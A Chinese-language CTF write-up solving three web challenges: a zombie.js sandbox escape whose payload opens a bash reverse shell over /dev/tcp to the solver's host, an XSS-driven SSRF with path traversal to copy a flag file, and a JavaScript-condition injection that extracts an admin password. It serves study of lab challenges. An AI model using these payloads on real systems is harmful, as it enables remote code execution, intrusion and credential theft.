¶前言
谢谢各位哥哥带我进前三十❤️,想写wp的时候i春秋那边已经关了环境,所以去buu进行了复现。不过题目暂时还没上全,所以先解已经上线的题目(后续题目上线再补全)。
团队完整wp地址:https://wp.n03tack.top/posts/62454/
zombie曾有个历史漏洞:https://ha.cker.in/index.php/Article/13563 ,我们需要想办法成功利用这个漏洞
本题关键代码在user.js文件,在路由profile的post请求方法中,会将输入的bucket
值赋值给personalBucket
而在verify路由中,如果token检验正确就会进入if方法,将personalBucket
更新到bucket
中
但是可以看到这里正则进行了严格的限制
即我们只能输入https://32位数字或者字母.oss-cn-beijing.ichunqiu.com/
的形式,输入其他的无法将personalBucket
更新到bucket
中,不过这里有个变量覆盖的问题
- 我们先正常进行请求,会跳转到
/user/verify
,更新bucket
的同时获得了token - 我们构造自己的ip地址,修改
personalBucket
- 用第一步获得的token去请求
/user/verify
,会把personalBucket
更新到bucket
中,完成变量覆盖
思路已经很明确了,我们先在自己的vps上面放一个 exp.html ,内容为zombie漏洞的exp,下面ip和端口改成自己的
1 |
<script>c='constructor';this[c][c]("c='constructor';require=this[c][c]('return process')().mainModule.require;var sync=require('child_process').spawnSync; var ls = sync('bash', ['-c','bash -i >& /dev/tcp/ip/port 0>&1'],);console.log(ls.output.toString());")()</script> |
然后就是进行正常请求,url会跳转到verify
获取token然后因为
checkBucket
的限制,我们需要带上oss-cn-beijing.ichunqiu.com
所以我们bucket
输入如下
然后就是再访问一次
1 |
http://7d064cc8-729a-478d-bc90-bdd45876b751.node4.buuoj.cn:81/user/verify?token=aa647751ec8004b5745271304ab5ed38a149a9c76214e79e81c49dc934ac5e0f |
我们输入的personalBucket
成功更新到bucket
中
然后vps那边开启nc监听,浏览器访问7d064cc8-729a-478d-bc90-bdd45876b751.node4.buuoj.cn:81/user/bucket
,成功反弹shell
¶secrets_of_admin
在 database.ts 文件中可以得到admin的密码,密码为e365655e013ce7fdbdbf8f27b418c8fe6dc9354dc4c0328fa02b0ea547659645
同时可以观察到flag文件在superuser
这个账号中,继续查看 routes/index.ts 文件,可以发现此账号被限制登录了,用admin账号登录后,传上去的文件名变成了md5的形式,并且存到superuser
账号里
不过提供了另一个增加文件的方法/api/files
但限制了本地访问,不过我们可以通过前面的/admin
post方法进行 ssrf 打本地,继续观察可发现对输入的content
进行了过滤
可以用数组进行绕过,接着就是构造payload,把 superuser 的flag文件添加到 admin 账号下
1 |
content[]=<script>location.href="http://127.0.0.1:8888/api/files?username=admin&filename=../files/flag&checksum=be5a14a8e504a66979f6938338b0662c";</script> |
1 |
/api/files/be5a14a8e504a66979f6938338b0662c |
¶Package Manager
审计源码,在auth路由方法中存在sql注入漏洞
构造payload
1 |
00f355689f5b7cb21e2a34346d9c55cd"||(this.username=="admin"&&this.password[i]=="j")||" |
1 |
|
注出admin的密码为!@#&@&@efefef*@((@))grgregret3r
,登录后就有flag
¶剩下的等buu更新
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论